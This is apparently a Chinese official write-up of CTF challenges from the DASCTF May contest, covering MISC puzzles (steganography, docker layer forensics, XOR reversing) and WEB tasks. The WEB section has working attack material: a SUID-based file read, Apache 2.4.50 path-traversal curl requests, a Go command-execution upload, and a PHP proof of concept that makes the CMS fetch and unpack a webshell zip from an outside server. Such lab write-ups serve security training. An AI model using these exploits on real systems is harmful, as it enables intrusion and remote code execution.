DASCTF MAY出题人挑战赛 MISC,WEB官方wp

继上次十月赛又当了一次出题人来给大伙整活,当然这次就主要负责web和misc的全部题目,而且考虑到das本身就是一个面向大众,新人培养的一种比赛,题目也就特地往简单了方面出,拒绝难题内卷!,当然难题也不能不由,所以misc和web各设置了一个难题,但是烨师傅tql,开赛一小时就ak我了呜呜呜。

MISC

卡比

1.根据题目描述得知图片的文字是卡比游戏的文字,直接根据表替换

图片[1]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

2.获得内容ptrh{gwdvswvqbfiszsz}

3.根据题目描述,猜测密钥是kirby

flag{imverylikekirby},包上DASCTF{}即可

不懂PCB的厨师不是好黑客

1.新建立创工程文件

2.导入文件

图片[2]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

3.转换3d视图即可看见flag

图片[3]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

rootme

1.直接连接ssh

2.find / -perm -4000

3.date -f /root/flag.txt

图片[4]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

神必流量

这题出了点小问题,出的时候忘记考虑USB流量在传输中会造成一定的数据丢失,所以源数据无法提取,然后修了一下降低了不少难度。

预期解:

首先分析流量,可以看见一个7z文件头,提取出来获得一串连接,访问是谷歌网盘,打开后下载out.txt是一串乱码,猜测是根据

main.exe加密得来,那么直接对main.exe进行逆向分析。

简单分析一下,程序通过打开文件然后对内容与key进行了异或运算。

图片[5]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

跟一下,key的值为6603

图片[6]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

最后直接写脚本就行了。

package main
​
import (
    "bufio"
    "fmt"
    "io"
    "os"
)
​
var key = "6603"
​
func main(){
    encodeStr := openTxt("out.txt")
    var decodeStr = strByXOR(encodeStr,key)
    fmt.Println(decodeStr)
​
​
}
​
func openTxt(txt string) string {
    filePath := txt
    file, err := os.Open(filePath)
    if err != nil {
        fmt.Println("文件打开失败 = ", err)
        return ""
    }
    defer file.Close() // 关闭文本流
    reader := bufio.NewReader(file) // 读取文本数据
    for {
        str, err := reader.ReadString('\n')
        if err ==io.EOF {
            break
        }
        return str
    }
    fmt.Println("文件读取结束")
    return ""
}
​
​
func strByXOR(message string,keywords string) string{
    messageLen := len(message)
    keywordsLen := len(keywords)
    result := ""
    for i := 0; i < messageLen; i++ {
        result += string(message[i] ^ keywords[i%keywordsLen])
    }
    return result
}
​
非预期解:

考虑不周全了,下次应该用arm编译hhh,由于是xor运算,密钥也在程序里,所以只需要把out.txt改成flag.txt运行程序就可以了(

噪音:

1.听音频,完全的噪音,没有任何规律,常规隐写和一些工具查看频谱都没有数据。

2.au把波形方法,详细观察

图片[7]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

3.发现看似没有规律,但是貌似他的所有的音频数据高度都是一致的,有迹可循

4.将其音频能量全部输出来看看。

图片[8]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

5.观察到果然音频能量是重复排序的,那么排序一下看看总共多少个内容

图片[9]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

6.果然,总共15个,猜测分别对应从0-f。那么对应的转换然后输出hex

from scipy.io import wavfile

samplerate, data = wavfile.read('test.wav')
rounded_data = []
unique = []
for i in data:
  r = round(i, -2)        
   
  rounded_data.append(r)
  if r in unique:
      continue
  else:
      unique.append(r)
unique.sort()
print(unique)


flag_hex = []

for a in rounded_data:
  flag_hex.append(hex(unique.index(a))[2:])

print("".join(flag_hex))

7.最后获得一大串hex,丢入cyberchef进行转换即可

图片[10]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

delflag

压轴题了属于是

1.根据题目描述,把远程的docker pull 下来

 docker pull snowywar/blue

2.然后运行不起来,看看他远程的docker网址都做了哪些操作

图片[11]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

3.发现flag.png被删除了,而且有个 i like blue的hint,暂时不知道有什么用

4.先把镜像给导出来

docker save snowywar/blue -o blue.tar

5.然后使用https://github.com/micahyoung/docker-layer-extract

工具对layer进行分析

6.看到他的全部操作历史,找到COPY flag.png这个操作的ID,然后对其进行提取

图片[12]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

7.

./main --imagefile blue.tar extract --layerid 68ab96bb98e84f10df61a676f0b02a2e9758f73c77947ebf63dba23f0f2e7210 --layerfile test.tar .

8.提取出图片

9.zsteg后没发现可疑内容,但是在stegsolve发现比较奇怪的地方

图片[13]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

10.复杂数据太多了,猜测这个手的位置是比较关键数据,结合提示和镜像的blue,猜测要把手的这个blue全部提取然后进行转换二进制。

11.撰写脚本1

from PIL import Image
import numpy as np
from Crypto.Util import number
import matplotlib.pyplot as plt
import imageio

p1 = Image.open('flag.png').convert('RGB')
p1_data = np.array(p1)
blue_data = []
a,b = p1_data.shape[0],p1_data.shape[1]
for y in range(a):
  for x in range(b):
      if p1_data[y][x][0] <= 200 and p1_data[y][x][1] <= 200 and p1_data[y][x][2] >= 150:
          blue_data.append(p1_data[y][x])
      else:
          blue_data.append([0,0,0])



blue_data = np.array(blue_data).reshape(a*b*3)
# blue_data = np.array(blue_data).reshape(a,b,3)
# plt.imshow(blue_data)
# plt.show()
res = ''
for i in range(len(blue_data)):
  if blue_data[i] != 0:
      if blue_data[i]%2 != 0:
          res += '1'
      else:
          res += '0'
res2 = b''
for i in range(0,len(res),8):
  res2 += number.long_to_bytes(int(res[i:i+8],2))

f2 = open('flag2.png', 'wb')
f2.write(res2)
f2.close()

12.获得新的png

图片[14]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

13.最后就比较简单了,简单分析一下图片,直接转灰度然后八位一组,最后用gzip解压即可,

写脚本就完事了

from PIL import Image
import numpy as np
import gzip

p = Image.open('flag2.png').convert('L')
p_data = np.array(p).reshape(p.size[0]*p.size[1])
res = ''
for i in p_data:
  if i %2 == 0:
      res += '0'
  else:
      res+='1'
print(res)

res2 = '00011111100010110000100000000000010110011101111001110111011000100000001011111111011100110111000100001100011101100000111001110001101010110100111001001100001100100100101010110010010011000011010100110001001100000011010101001010010010010100101101001101101101000011010001001111001100010011011000110101010010010011001001001010001100110100101100110101000001110000100101011000100110001101010000000010000000000001011010010101011110011001111000101000000000000000000000000000'
print(gzip.decompress(bytes(int(res2[i:i+8],2) for i in range(0,len(res2),8))))

WEB

可能,这是历史上das最简单的一波web题(

Powercookie

1.cookie修改为admin 1即可获得flag

Magic

1.访问网站,提示需要用魔法浏览器访问

2.f12可以看到一串js代码,解密后提示了内容

图片[15]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

3.插件复制模仿后重新访问即可获得flag

hackme

1.访问url

2.下面的可以点击,进入

图片[16]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

3.一些内容,返回一些对应的文件和回显

图片[17]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

4.发现users.go无法被解析

图片[18]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

5.最下面的点击后会进入upload目录,可以上传文件,根据描述要上传go文件

6.但是如果上传常规文件无法被解析,说明上述文件列表为白名单,这里直接上传users.go文件

7.users.go

package main

import (
"fmt"
"os/exec"
)

func exp() {

out, err := exec.Command("cat","/flag").Output()

if err != nil {
fmt.Printf("%s", err)
}

output := string(out[:])
fmt.Println(output)
}

func main() {
exp()

}

8.最后上传后在url处访问即可

图片[19]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

getme

1.访问url,f12看见提示,得知当前的路径

图片[20]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

2.经过wappalyzer可以看见目标站点是2.4.50

图片[21]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

3.那么可以得知有任意目录穿越漏洞,经过穿越获取目标站点的日志。

http://127.0.0.1:11777/icons/.%%32%65/logs/access_log

4.对日志分析,发现请求flag

curl -v --path-as-is http://127.0.0.1:11777/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flag

fakeflag

5.然后继续分析,分析到一个超长请求,发现是真的flag

curl -v --path-as-is http://127.0.0.1:11777/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/diajgk/djflgak/qweqr/eigopl/fffffflalllallalagggggggggg
图片[22]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

fxxkgo

1.代码审计,

图片[23]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

2.看见几个路由,跟踪代码,发现主要核心是在此处,存在一个模板渲染

图片[24]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

3.猜测存在模板注入,其次整体是jwt认证,只需要注册时传入{{.}}就可以获取关键的key值,那么再根据代码中的内容令is_admin为true即可获得flag即可

图片[25]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

ezcms

文艺复兴了属于是,多少年没看见过cms审计了(

1.访问网站,获取后台admin 用户admin 密码123456,认证码123456,进入后台,简单测了一下没啥奇怪的东西,接下来看看代码

2.重点分析在update.php中,发现是直接对传入的连接进行解密后解压, 那就只需要在远程vps中部署一个恶意压缩包,加密url让其访问即可,满足其请求内容的需求即可

图片[26]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

3.他这里使用了Mc_Encryption_Key作为全局变量,这里只需要跟一下就能找到他的密钥。

图片[27]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇

4.最后直接赋值sys_auth函数作为加密构筑即可。

5.最终poc(a.zip为一句话木马套了个zip,以达到解压目的。

<?php
define('Mc_Encryption_Key','GKwHuLj9AOhaxJ2');

$strings = 'http://192.168.28.175/a.zip';

echo(sys_auth($strings));


function sys_auth($string, $type = 0, $key = '', $expiry = 0) {
if(is_array($string)) $string = json_encode($string);
if($type == 1) $string = str_replace('-','+',$string);
$ckey_length = 4;
$key = md5($key ? $key : Mc_Encryption_Key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($type == 1 ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $type == 1 ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($type == 1) {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
$result = substr($result, 26);
$json = json_decode($result,1);
if(!is_numeric($result) && $json){
return $json;
}else{
return $result;
}
}
return '';
}
return str_replace('+', '-', $keyc.str_replace('=', '', base64_encode($result)));
}

6.生成的内容构筑访问update路由即可。

http://192.168.231.128:49155/admin.php/update?url=3c6cgE3ykiHsnVePLhpRN0tbay4rms8A0JWQPThnS9wZdBcDdBxDSekuci756GtYCpqX--4XqWA

7.最终访问

http://192.168.231.128:1199/a/a.php

8.随后蚁剑即可

图片[28]-DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇
© 版权声明
THE END
喜欢就支持一下吧
点赞21 分享
评论 共2条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情